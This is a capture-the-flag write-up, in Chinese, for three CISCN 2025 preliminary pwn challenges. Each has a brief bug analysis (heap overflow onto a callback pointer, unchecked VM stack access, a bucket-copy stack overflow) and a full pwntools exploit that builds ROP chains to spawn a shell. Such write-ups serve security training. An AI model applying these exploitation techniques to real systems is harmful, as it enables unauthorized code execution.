CISCN 2025 初赛 Writeup
anote
菜单堆,堆块大小固定为 0x1c,edit 时有明显堆溢出。堆块上有一 edit callback 函数指针,修改为 backdoor 再 edit 触发即可。虽然 edit 起始点在 callback 位置之后,但是可以堆溢出修改相邻堆上的 callback 函数指针。
Exp:
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './note'
io = process(binary)
e = ELF(binary)
# size: 0x1c
def add():
io.sendlineafter(b'>>', b'1')
def show(index: int):
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b': ', itob(index))
# size <= 0x28
def edit(index: int, size: int, content: bytes):
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b': ', itob(index))
io.sendlineafter(b': ', itob(size))
io.sendlineafter(b': ', content)
def exit():
io.sendlineafter(b'>>', b'4')
backdoor = 0x080489CE
add()
add()
show(0)
io.recvuntil(b'gift: ')
heap_backdoor_addr = int(io.recvuntil(b'\n'), 16) + 8
success(f'heap_addr: {heap_backdoor_addr:x}')
edit(0, 28, p32(backdoor) * 5 + p32(0x21) + p32(heap_backdoor_addr))
edit(1, 4, p32(0))
io.interactive()
avm
VM instruction 格式为 opcode 4bits | operand_a 12bits/5bits | padding 6bits | operand_b 5bits | operand_r 5bits。
功能有加减乘除等基本运算,没有直接的加载立即数。opcode 10 是 load from stack,opcode 9 是 write to stack,两者皆不检查边界,栈上任意读写。输入的 command 在栈上,可以预先写入 libc 符号偏移。利用 main
返回地址 leak libc,VM 内计算真实地址,写 ROP chain。最后需要考虑 system 内部栈指针 16 字节对齐问题,所以返回到 system 中跳过一次 push 的位置。
Exp:
from pwn import *
from ctypes import *
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'
io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)
def code(opcode: int, a: int, b: int, r: int) -> bytes:
return p32((opcode << 0x1c) + (a << 0x10) + (b << 5) + r)
main_ret_addr_offset = 171408
system_8 = 329986
io.send(code(10, 3384, 0, 1) + # load main retaddr to *1
code(10, 328, 0, 2) + # load offset0 to *2
code(10, 336, 0, 3) + # load offset1 to *3
code(10, 344, 0, 4) + # load offset2 to *4
code(1, 2, 1, 5) + # add *2 by *1 to *5
code(1, 3, 1, 6) + # add *3 by *1 to *6
code(1, 4, 1, 7) + # add *4 by *1 to *7
code(9, 0x118 + 16, 8, 7) + # write *7 to *retaddr+16
code(9, 0x118 + 8, 8, 6) + # write *6 to *retaddr+8
code(9, 0x118 + 0, 8, 5) + # write *5 to *retaddr
p64(libc.search(asm('pop rdi; ret;')).__next__() - main_ret_addr_offset) + # offset0
p64(libc.search(b'/bin/sh\x00').__next__() - main_ret_addr_offset) + # offset1
p64(system_8 - main_ret_addr_offset) # offset2 (system)
)
io.interactive()
novel1
程序分为两部分,partI 可以向 unordered_map bloodstains
中添加 key-value。unordered map 存储键值对的方式是分 bucket,hash % bucket_count
相等的 key 放进同一 bucket,对于 bloodstains
,key 类型是 unsigned int
,其 std::hash
算法结果就是其值本身。partII 中输入一个 key,把这个 key 所在的 bucket 中的所有 key-value pair
s 复制到栈上,如果同一 bucket 中的 key-value 够多,可以造成栈溢出。需要注意当 bucket 满时会进行 rehash
,对于不同 size 的 bloodstains
,bucket_count
不同,需要重新计算。栈溢出覆盖暂存栈基址和返回地址,利用 gift backdoor RACHE
栈迁移至 bss 段 author
,利用 puts@plt
GOT leak libc base,然后返回至 fgets
在程序中调用位置写入 ROP chain,getshell。不能使用 glibc-all-in-one 的 libc,必须从 docker image 里拿。
PoC:
#include <iostream>
#include <unordered_map>
int main() {
std::unordered_map<unsigned int, unsigned long> map;
for (unsigned int i = 0; i < 0x17; ++i) {
map[i * 29] = 0;
}
std::cout << map.bucket_count() << ' ' << map.size() << ' ' << map.bucket_size(0) << std::endl;
return 0;
}
// 29 23 23
Exp:
from pwn import *
from ctypes import *
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './novel1'
io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)
io.sendlineafter(b'Author: ', p64(e.got['puts']) + p64(0x40A5D8) + p64(e.plt['puts']) + p64(0x40283C) + p64(0x40A5D8) + p64(0x40283C)) # 注意第一次 `fgets` 会立刻返回,需要调用两次。
def add(key: int, value: int):
io.sendlineafter(b'Chapter: ', b'1')
io.sendlineafter(b'Blood: ', str(key))
io.sendlineafter(b'Evidence: ', str(value))
for i in range(0x17):
add(i * 29, 0x4025be if i == 0xa else 0x40A540 if i == 0xb else i) # 布置栈上数据
io.sendlineafter(b'Chapter: ', b'2')
io.sendlineafter(b'Blood: ', b'0')
io.recvuntil(b'638\n' * 7)
libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - libc.sym['puts']
success(f'libc_base: {libc.address:x}')
io.sendline(cyclic(40).replace(b'caaadaaa', p64(0x40A5D8)).replace(b'eaaafaaagaaahaaa', p64(0) * 2) + p64(libc.address + 0xebce2)) # 再次写入 ROP
io.interactive()